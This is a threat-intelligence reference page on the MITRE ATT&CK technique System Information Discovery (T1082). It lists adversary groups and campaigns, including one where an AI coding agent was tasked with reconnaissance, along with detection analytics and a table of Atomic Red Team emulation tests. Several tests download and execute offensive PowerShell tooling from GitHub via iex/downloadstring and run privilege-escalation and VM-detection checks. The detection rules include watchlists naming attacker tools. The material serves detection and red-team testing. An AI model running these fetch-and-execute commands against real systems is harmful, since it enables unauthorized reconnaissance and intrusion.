ShinyHuntersG1057 ↗
Has used the MeshCentral command-line utility meshctrl.js to collect hostnames and IDs of compromised systems.1
tfMITRE ATT&CK technique
System Information Discovery T1082
- Tactic
- Discovery
- Platforms
- ESXi, IaaS, Linux, macOS, Network Devices, Windows
- Version
- 3.0
- Created
- 31 May 2017
- Last modified
- 12 May 2026
- Contributors
- Maril Vernon @shewhohacks; Praetorian; Austin Clark, @c2defense
An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes.
ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact
58
Threat groupsTop 1%
Threat groups99th percentile · 99% of ATT&CK techniques have this many threat groups attributed or fewer.14
CampaignsTop 2%
Campaigns98th percentile · 98% of ATT&CK techniques have this many campaigns recorded or fewer.355
Tools & malwareTop 1%
Tools & malware100th percentile · 100% of ATT&CK techniques have this many tools implementing them or fewer.54
Detection rulesTop 4%
Detection rules96th percentile · 96% of ATT&CK techniques have this many detection rules written or fewer.System Information Discovery MITRE reference T1082
Top 1%of all ATT&CK techniques for number of groups
58 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.
VOID MANTICOREG1055 ↗
Has gathered system information and disseminated it back to C2.1
MirrorFaceG1054 ↗
Has employed malicious macros and native Windows tools such as csvde.exe, nltest.exe and quser.exe for discovery.123
Storm-0501G1053 ↗
Has leveraged native Windows tools and commands such as systeminfo and open-source tools including OSQuery and ossec-win32 to query details about the endpoint.1
Contagious InterviewG1052 ↗
Has configured malicious webpages to identify the victim’s operating system by reviewing the details of the victims User-Agent of their browser.1
Medusa GroupG1051 ↗
Has leveraged cmd.exe to identify system info cmd.exe /c systeminfo.1
All 58 groups for this technique · 6 newest in this preview
14 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.
Anthropic AI-orchestrated CampaignC0062 ↗
During the Anthropic AI-orchestrated Campaign, the adversary tasked Claude Code to query databases and systems in order to identify proprietary information, including system configurations and database types.1
SharePoint ToolShell ExploitationC0058 ↗
During SharePoint ToolShell Exploitation, threat actors fingerprinted targeted SharePoint servers to identify OS version and running processes.1
Cutting EdgeC0029 ↗
During Cutting Edge, threat actors used the ENUM4LINUX Perl script for discovery on Windows and Samba hosts.1
ArcaneDoorC0046 ↗
Included collection of victim device configuration information.1
RedDelta Modified PlugX Infection Chain OperationsC0047 ↗
Mustang Panda captured victim operating system type via User Agent analysis during RedDelta Modified PlugX Infection Chain Operations.1
KV Botnet ActivityC0035 ↗
Includes use of native system tools, such as uname, to obtain information about victim device architecture, as well as gathering other system information such as the victim's hosts file and CPU utilization.1
All 14 campaigns for this technique · 6 newest in this preview
355 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.
Mini Shai-HuludS9043 ↗
Has gathered system information of victim hosts through the use of common discovery commands to include hostname, uname-a and printenv.1 Mini Shai-Hulud has also conducted system checks of the victim device to include enumerating the system type and the number of CPUs operating on victim host.23
TeamPCP Cloud StealerS9041 ↗
Has detected if it is on a developer machine by checking if the environmental variable GITHUB_ACTIONS != “true”.1 TeamPCP Cloud Stealer has also identified readable memory regions on CI/CD runners and enumerated system information using hostname and uname-a.2
LazyWiperS9039 ↗
Has used [System.Net.Dns]::GetHostName() and $env:COMPUTERNAME to enumerate the hostname of a system and determine if it is a domain controller.1
RustyWaterS9037 ↗
Has gathered the victim machine’s computer name.1
LAMEHUGS9035 ↗
Has the ability to execute Windows commands returned from C2 to gather system information.12
Tsundere BotnetS9034 ↗
Has collected the machine’s MAC address, total memory, GPU information and other system information.1
All 355 software entries for this technique · 6 newest in this preview
Offense vs defense T1082
Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.
How it got here
Range
Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.
Campaigns · 13Sigma rules (cumulative) · 36Splunk ESCU (cumulative) · 18
first rule: 2018 Q3 · 13 of 14 campaigns plotted (Operation AkaiRyū (dated 2004) falls before the 2015 window)System Information Discovery detection strategy DET0525
MITRE names one behaviour worth catching for this technique and breaks it into 6 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.
System Discovery via Native and Remote Utilities
6 platforms
AN1452 · Windows
Detection of processes executing system environment inspection operations followed by access to OS configuration APIs or registry locations that expose OS version, architecture, patch level, or hardware characteristics. Defenders observe process execution retrieving system configuration metadata immediately after process startup.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | WinEventLog:Sysmon | EventCode=1 |
| Windows Registry Key ModificationDC0063 | WinEventLog:Sysmon | EventCode=13, 14 |
| Command ExecutionDC0064 | WinEventLog:PowerShell | EventCode=4103, 4104, 4105, 4106 |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| TimeWindow | Detect multiple discovery commands executed in short succession. |
| UserContext | Scope alerts to unusual user accounts or service accounts. |
AN1453 · Linux
Execution of system enumeration commands such as uname, df, uptime, hostname, lscpu, and cat /etc/os-release through local terminal or scripts.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Process CreationDC0032 | auditd:SYSCALL | execve |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| CommandList | Customize list of commands of interest (e.g., uname, lscpu, etc.) |
| TerminalSessionID | Correlate sessions for behavior context. |
AN1454 · macOS
Execution of system info utilities like systemsetup, sw_vers, uname, or sysctl by terminal or scripted processes.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | macos:unifiedlog | log show --predicate 'process == <utility>' |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| ParentProcess | Determine if script or terminal executed the command. |
| FrequencyThreshold | Number of discovery commands in a short window. |
AN1455 · ESXi
Execution of esxcli system hostname get, esxcli system version get, or esxcli hardware commands through SSH or local shell.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | esxi:vmkernel | /var/log/vmkernel.log |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| SessionOrigin | Track SSH or console-based entry points. |
| CommandString | Customize detection for expected CLI queries. |
AN1456 · IaaS
Use of cloud API calls (e.g., AWS EC2 DescribeInstances, Azure VM Inventory) to enumerate system configurations across assets.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Instance EnumerationDC0075 | AWS:CloudTrail | DescribeInstances, GetConsoleOutput, DescribeImages |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| IAMRoleContext | Limit detection to non-standard identities performing these calls. |
| APIFrequency | Identify enumeration sweeps by volume. |
AN1457 · Network Devices
Execution of show version, show hardware, or show system commands through CLI via SSH or console.
Log sources
The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.
| Data component | Name | Channel |
|---|---|---|
| Command ExecutionDC0064 | networkdevice:syslog | Privilege-level command execution |
Tunable fields
MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.
| Field | What you tune |
|---|---|
| Username | Highlight unexpected users issuing diagnostic commands. |
| CommandList | Tailor to vendor-specific command syntax. |
2 analytics
Certain commands are frequently used by malicious actors and infrequently used by normal users. By looking for execution of these commands in short periods of time, we can not only see when a malicious user was on the system but also get an idea of what they were doing.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PLA | Process Lineage Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | hostname |
| process | create | ppid |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
processes = search Process:Create reg_processes = filter processes where (exe == "arp.exe" or exe == "at.exe" or exe == "attrib.exe" or exe == "cscript.exe" or exe == "dsquery.exe" or exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "mimikatz.exe" or exe == "nbstat.exe" or exe == "net.exe" or exe == "netsh.exe" or exe == "nslookup.exe" or exe == "ping.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "reg.exe" or exe == "runas.exe" or exe == "sc.exe" or exe == "schtasks.exe" or exe == "ssh.exe" or exe == "systeminfo.exe" or exe == "taskkill.exe" or exe == "telnet.exe" or exe == "tracert.exe" or exe == "wscript.exe" or exe == "xcopy.exe") reg_grouped = group reg by hostname, ppid where(max time between two events is 30 minutes) output reg_grouped
Sigma version of the above pseudocode, with some modifications.
DNIF version of the above pseudocode.
_fetch * from event where $LogName=WINDOWS-SYSMON AND $EventID=1 AND $App=regex(arp\.exe|at\.exe|attrib\.exe|cscript\.exe|dsquery\.exe|hostname\.exe|ipconfig\.exe|mimikatz.exe|nbstat\.exe|net\.exe|netsh\.exe|nslookup\.exe|ping\.exe|quser\.exe|qwinsta\.exe|reg\.exe|runas\.exe|sc\.exe|schtasks\.exe|ssh\.exe|systeminfo\.exe|taskkill\.exe|telnet\.exe|tracert\.exe|wscript\.exe|xcopy\.exe)i group count_unique $App limit 100 >>_agg count >>_checkif int_compare Count > 1 include
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 image IN ["*\arp.exe", "*\at.exe", "*\attrib.exe", "*\cscript.exe", "*\dsquery.exe", "*\hostname.exe", "*\ipconfig.exe", "*\mimikatz.exe", "*\nbstat.exe", "*\net.exe", "*\netsh.exe", "*\nslookup.exe", "*\ping.exe", "*\quser.exe", "*\qwinsta.exe", "*\reg.exe", "*\runas.exe", "*\sc.exe", "*\schtasks.exe", "*\ssh.exe", "*\systeminfo.exe", "*\taskkill.exe", "*\telnet.exe", "*\tracert.exe", "*\wscript.exe", "*\xcopy.exe"] | chart count() as cnt by host | search cnt > 1
Unit tests
CAR’s own validation procedures for this analytic.
Within a command window, execute several of the commands in quick succession.
["ipconfig /all","hostname","systeminfo","reg.exe Query HKLM\\Software\\Microsoft"]
When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally.
D3FEND techniques
The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.
| ID | Name |
|---|---|
| D3-PSA | Process Spawn Analysis |
Data model references
The CAR data model objects, actions and fields the logic reads. Map these to your own schema before implementing.
| Object | Action | Field |
|---|---|---|
| process | create | command_line |
| process | create | exe |
Implementations
Pseudocode is the canonical logic; the rest are CAR’s translations into vendor query languages.
To be effective in deciphering malicious and benign activity, the full command line is essential. Similarly, having information about the parent process can help with making decisions and tuning to an environment.
process = search Process:Create info_command = filter process where ( exe == "hostname.exe" or exe == "ipconfig.exe" or exe == "net.exe" or exe == "quser.exe" or exe == "qwinsta.exe" or exe == "sc" and (command_line match " query" or command_line match " qc")) or exe == "systeminfo.exe" or exe == "tasklist.exe" or exe == "whoami.exe" ) output info_command
Splunk version of the above pseudocode search.
index=__your_sysmon_index__ EventCode=1 (Image="C:\\Windows\\*\\hostname.exe" OR Image="C:\\Windows\\*\\ipconfig.exe" OR Image="C:\\Windows\\*\\net.exe" OR Image="C:\\Windows\\*\\quser.exe" OR Image="C:\\Windows\\*\\qwinsta.exe" OR (Image="C:\\Windows\\*\\sc.exe" AND (CommandLine="* query *" OR CommandLine="* qc *")) OR Image="C:\\Windows\\*\\systeminfo.exe" OR Image="C:\\Windows\\*\\tasklist.exe" OR Image="C:\\Windows\\*\\whoami.exe")|stats values(Image) as "Images" values(CommandLine) as "Command Lines" by ComputerName
EQL version of the above pseudocode search.
process where subtype.create and (process_name == "hostname.exe" or process_name == "ipconfig.exe" or process_name == "net.exe" or process_name == "quser.exe" process_name == "qwinsta.exe" or process_name == "systeminfo.exe" or process_name == "tasklist.exe" or process_name == "whoami.exe" or (process_name == "sc.exe" and (command_line == "* query *" or command_line == "* qc *")))
LogPoint version of the above pseudocode.
norm_id=WindowsSysmon event_id=1 (image in ["*\hostname.exe", "*\ipconfig.exe", "*\net.exe", "*\quser.exe", "*\qwinsta.exe", "*\systeminfo.exe", "*\tasklist.exe", "*\whoami.exe"] OR (image="*\sc.exe" command IN ["* query *", "* qc *"))
Tests40Executorscmd 16 · PowerShell 13 · sh 9 · bash 2Need elevation5 of 40Have prerequisites4Have cleanup4Platformswindows, macos, linux, azure-ad
| # | Test | Platform | Executor | Elevation | Prereqs | Cleanup | Ref | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 01 | System Information Discovery | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify System Info. Upon execution, system info and time info will be displayed. Attack command systeminfo reg query HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum GUID981db029-f87e-47f4-b8aa-f0ff934b3150 | ||||||||||||||||||||||||||||||||
| 02 | System Information Discovery | macos | sh | — | — | — | ||||||||||||||||||||||||||
Identify System Info Attack command system_profiler ls -al /Applications GUIDb5baad8b-5e27-4914-a4c3-71d23e09ede5 | ||||||||||||||||||||||||||||||||
| 03 | List OS Information | linux, macos | sh | — | — | Yes | ||||||||||||||||||||||||||
Identify System Info Input arguments
Attack command uname -a >> #{output_file}
if [ -f /etc/lsb-release ]; then cat /etc/lsb-release >> #{output_file}; fi
if [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> #{output_file}; fi
if [ -f /etc/issue ]; then cat /etc/issue >> #{output_file}; fi
if [ -f /etc/os-release ]; then cat /etc/os-release >> #{output_file}; fi
uptime >> #{output_file}
cat #{output_file} 2>/dev/null
Cleanup command rm #{output_file} 2>/dev/null
GUIDb66f35c4-8a75-41e6-bd7e-a55185f4b953 | ||||||||||||||||||||||||||||||||
| 04 | Linux VM Check via Hardware | linux | bash | Required | — | — | ||||||||||||||||||||||||||
Identify virtual machine hardware. This technique is used by the Pupy RAT and other malware. Attack command if [ -f /sys/class/dmi/id/bios_version ]; then cat /sys/class/dmi/id/bios_version | grep -i amazon; fi if [ -f /sys/class/dmi/id/product_name ]; then cat /sys/class/dmi/id/product_name | grep -i "Droplet\|HVM\|VirtualBox\|VMware"; fi if [ -f /sys/class/dmi/id/chassis_vendor ]; then cat /sys/class/dmi/id/chassis_vendor | grep -i "Xen\|Bochs\|QEMU"; fi if [ -x "$(command -v dmidecode)" ]; then sudo dmidecode | grep -i "microsoft\|vmware\|virtualbox\|quemu\|domu"; fi if [ -f /proc/scsi/scsi ]; then cat /proc/scsi/scsi | grep -i "vmware\|vbox"; fi if [ -f /proc/ide/hd0/model ]; then cat /proc/ide/hd0/model | grep -i "vmware\|vbox\|qemu\|virtual"; fi if [ -x "$(command -v lspci)" ]; then sudo lspci | grep -i "vmware\|virtualbox"; fi if [ -x "$(command -v lscpu)" ]; then sudo lscpu | grep -i "Xen\|KVM\|Microsoft"; fi GUIDce989ec2-19f1-412a-86e0-078d71d7b663 | ||||||||||||||||||||||||||||||||
| 05 | Linux VM Check via Kernel Modules | linux | bash | Required | — | — | ||||||||||||||||||||||||||
Identify virtual machine guest kernel modules. This technique is used by the Pupy RAT and other malware. Attack command sudo lsmod | grep -i "vboxsf\|vboxguest" sudo lsmod | grep -i "vmw_baloon\|vmxnet" sudo lsmod | grep -i "xen-vbd\|xen-vnif" sudo lsmod | grep -i "virtio_pci\|virtio_net" sudo lsmod | grep -i "hv_vmbus\|hv_blkvsc\|hv_netvsc\|hv_utils\|hv_storvsc" GUID5cef2ee0-0e1b-43c1-bcd5-2206d5bd2fb3 | ||||||||||||||||||||||||||||||||
| 06 | FreeBSD VM Check via Kernel Modules | linux | sh | — | — | — | ||||||||||||||||||||||||||
Identify virtual machine host kernel modules. Attack command kldstat | grep -i "vmm" kldstat | grep -i "vbox" GUID2594a864-2315-4993-b092-64e849be0a4e | ||||||||||||||||||||||||||||||||
| 07 | Hostname Discovery (Windows) | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify system hostname for Windows. Upon execution, the hostname of the device will be displayed. Attack command hostname GUIDe0ce9da1-aba1-4935-9a19-39e64a8ab4a4 | ||||||||||||||||||||||||||||||||
| 08 | Hostname Discovery | linux, macos | sh | — | — | — | ||||||||||||||||||||||||||
Identify system hostname for FreeBSD, Linux and macOS systems. Attack command hostname GUIDc77f4a8c-de1f-4971-95bb-19727f277086 | ||||||||||||||||||||||||||||||||
| 09 | Windows MachineGUID Discovery | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify the Windows MachineGUID value for a system. Upon execution, the machine GUID will be displayed from registry. Attack command REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid GUID4924bf17-e192-438e-9bbc-3a9fd637bc15 | ||||||||||||||||||||||||||||||||
| 10 | Griffon Recon | windows | PowerShell | — | 1 | — | ||||||||||||||||||||||||||
This script emulates the reconnaissance script seen in used by Griffon and was modified by security researcher Kirk Sayre in order simply print the recon results to the screen as opposed to exfiltrating them. Script. For more information see also https://malpedia.caad.fkie.fraunhofer.de/details/js.griffon and https://attack.mitre.org/software/S0417/ Input arguments
Attack command cscript "#{vbscript}"
Prerequisite Sample script file must exist on disk at specified location (#{vbscript}) Check if (Test-Path "#{vbscript}") {exit 0} else {exit 1}
Satisfy New-Item -Type Directory (split-path "#{vbscript}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1082/src/griffon_recon.vbs" -OutFile "#{vbscript}"
GUID928655ec-9104-4c01-aa35-7996b0d48752 | ||||||||||||||||||||||||||||||||
| 11 | Environment variables discovery on windows | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify all environment variables. Upon execution, environments variables and your path info will be displayed. Attack command set GUID8e8bfb8c-8aa0-470e-aef1-07e21cf63e20 | ||||||||||||||||||||||||||||||||
| 12 | Environment variables discovery on freebsd, macos and linux | linux, macos | sh | — | — | — | ||||||||||||||||||||||||||
Identify all environment variables. Upon execution, environments variables and your path info will be displayed. Attack command env GUID18ece6c0-46d1-4667-a0dc-e33872b9e111 | ||||||||||||||||||||||||||||||||
| 13 | Show System Integrity Protection status (MacOS) | macos | sh | — | — | — | ||||||||||||||||||||||||||
Read and Display System Intergrety Protection status. csrutil is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not. Attack command csrutil status GUID1341d896-f2a3-4c4b-ad12-d6f08272bea6 | ||||||||||||||||||||||||||||||||
| 14 | WinPwn - winPEAS | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Discover Local Privilege Escalation possibilities using winPEAS function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
winPEAS -noninteractive -consoleoutputGUID1da39b4e-b229-419d-b406-88e6267dee6d | ||||||||||||||||||||||||||||||||
| 15 | WinPwn - itm4nprivesc | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Discover Local Privilege Escalation possibilities using itm4nprivesc function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
itm4nprivesc -noninteractive -consoleoutputGUID556aec84-d8ff-46d9-be86-7a29e545151e | ||||||||||||||||||||||||||||||||
| 16 | WinPwn - Powersploits privesc checks | windows | PowerShell | — | — | Yes | ||||||||||||||||||||||||||
Powersploits privesc checks using oldchecks function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
oldchecks -noninteractive -consoleoutputCleanup command rm -force -recurse .\DomainRecon -ErrorAction Ignore rm -force -recurse .\Exploitation -ErrorAction Ignore rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore rm -force -recurse .\LocalRecon -ErrorAction Ignore rm -force -recurse .\Vulnerabilities -ErrorAction Ignore GUID73223e84-1370-4178-a18a-a4170a403f1e | ||||||||||||||||||||||||||||||||
| 17 | WinPwn - General privesc checks | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
General privesc checks using the otherchecks function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
otherchecks -noninteractive -consoleoutputGUID844e7b1a-cddc-4183-9399-9aa3857f0ab2 | ||||||||||||||||||||||||||||||||
| 18 | WinPwn - GeneralRecon | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Collect general computer informations via GeneralRecon function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Generalrecon -consoleoutput -noninteractiveGUID6b5900c6-41b3-472a-9e72-381ef7f61ae2 | ||||||||||||||||||||||||||||||||
| 19 | WinPwn - Morerecon | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Gathers local system information using the Morerecon function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Morerecon -noninteractive -consoleoutputGUIDe77bbe71-45c7-4614-9ffb-f397bef34533 | ||||||||||||||||||||||||||||||||
| 20 | WinPwn - RBCD-Check | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
Search for Resource-Based Constrained Delegation attack paths using RBCD-Check function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
RBCD-Check -consoleoutput -noninteractiveGUIDf55d473a-200b-4cc9-b0a3-2d634fdb23d8 | ||||||||||||||||||||||||||||||||
| 21 | WinPwn - PowerSharpPack - Watson searching for missing windows patches | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
PowerSharpPack - Watson searching for missing windows patches technique via function of WinPwn Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
Invoke-watsonGUIDe83f6437-d31b-4cd6-a62d-f2c371ca90bc | ||||||||||||||||||||||||||||||||
| 22 | WinPwn - PowerSharpPack - Sharpup checking common Privesc vectors | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
PowerSharpPack - Sharpup checking common Privesc vectors technique via function of WinPwn - Takes several minutes to complete. Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
Invoke-SharpUp -command "audit"GUID42029504-3f35-4e82-8040-e733525f6f4a | ||||||||||||||||||||||||||||||||
| 23 | WinPwn - PowerSharpPack - Seatbelt | windows | PowerShell | — | — | — | ||||||||||||||||||||||||||
PowerSharpPack - Seatbelt technique via function of WinPwn. Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives. Attack command $S3cur3Th1sSh1t_repo = 'https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1')
Invoke-Seatbelt -Command "-group=all"GUIDe0a35611-b176-45d4-bceb-f903949dad08 | ||||||||||||||||||||||||||||||||
| 24 | Azure Security Scan with SkyArk | azure-ad | PowerShell | Required | 3 | Yes | ||||||||||||||||||||||||||
Upon successful execution, this test will utilize a valid read-only Azure AD user's credentials to conduct a security scan and determine what users exist in a given tenant, as well as identify any admin users. Once the test is complete, a folder will be output to the temp directory that contains 3 csv files which provide info on the discovered users. See https://github.com/cyberark/SkyArk Input arguments
Attack command Import-Module "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" -force
$Password = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Password
Connect-AzAccount -Credential $Credential
Connect-AzureAD -Credential $Credential
Scan-AzureAdmins -UseCurrentCred
Cleanup command $resultstime = Get-Date -Format "yyyyMMdd"
$resultsfolder = ("Results-" + $resultstime)
remove-item $env:temp\$resultsfolder -recurse -force -erroraction silentlycontinue
Prerequisite The SkyArk AzureStealth module must exist in PathToAtomicsFolder\..\ExternalPayloads. Check if (test-path "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1"){exit 0} else {exit 1}
Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://raw.githubusercontent.com/cyberark/SkyArk/3293ee145e95061a8980dd7b5da0030edc4da5c0/AzureStealth/AzureStealth.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\AzureStealth.ps1" Prerequisite The AzureAD module must be installed. Check try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Satisfy Install-Module -Name AzureAD -Force Prerequisite The Az module must be installed. Check try {if (Get-InstalledModule -Name Az -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
Satisfy Install-Module -Name Az -Force GUIDa3f59d9b-57a4-46a5-98f7-d0a917287b6e | ||||||||||||||||||||||||||||||||
| 25 | Linux List Kernel Modules | linux | sh | — | — | — | ||||||||||||||||||||||||||
Enumerate kernel modules installed 3 different ways. Upon successful execution stdout will display kernel modules installed on host 2 times, followed by list of modules matching 'vmw' if present. Attack command lsmod kmod list grep vmw /proc/modules GUIDf527a9f9-f80c-4e08-b84b-52a4152a6375 | ||||||||||||||||||||||||||||||||
| 26 | FreeBSD List Kernel Modules | linux | sh | — | — | — | ||||||||||||||||||||||||||
Enumerate kernel modules loaded. Upon successful execution stdout will display kernel modules loaded, followed by list of modules matching 'vmm' if present. Attack command kldstat kldstat | grep vmm GUID5d99bb4a-e3db-4603-92eb-d46c493b97dc | ||||||||||||||||||||||||||||||||
| 27 | System Information Discovery with WMIC | windows | cmd | — | — | — | ||||||||||||||||||||||||||
Identify system information with the WMI command-line (WMIC) utility. Upon execution, various system information will be displayed, including: OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. https://nwgat.ninja/getting-system-information-with-wmic-on-windows/ Elements of this test were observed in the wild used by Aurora Stealer in late 2022 and early 2023, as highlighted in public reporting: https://blog.sekoia.io/aurora-a-rising-stealer-flying-under-the-radar https://blog.cyble.com/2023/01/18/aurora-a-stealer-using-shapeshifting-tactics/ Attack command wmic cpu get name wmic MEMPHYSICAL get MaxCapacity wmic baseboard get product wmic baseboard get version wmic bios get SMBIOSBIOSVersion wmic path win32_VideoController get name wmic path win32_VideoController get DriverVersion wmic path win32_VideoController get VideoModeDescription wmic OS get Caption,OSArchitecture,Version wmic DISKDRIVE get Caption Get-WmiObject win32_bios GUIDc42656a3-87e9-42f7-8bc8-a4a25b715843 | ||||||||||||||||||||||||||||||||
| 28 | System Information Discovery | windows | cmd | Required | — | — | ||||||||||||||||||||||||||
The script gathernetworkinfo.vbs is employed to collect system information such as the operating system, DNS details, firewall configuration, etc. Outputs are stored in c:\Windows\System32\config or c:\Windows\System32\reg. https://www.verboon.info/2011/06/the-gathernetworkinfo-vbs-script/ Attack command wscript.exe C:\Windows\System32\gatherNetworkInfo.vbs GUIDef684562-6d54-495a-9a49-d16052309230 | ||||||||||||||||||||||||||||||||
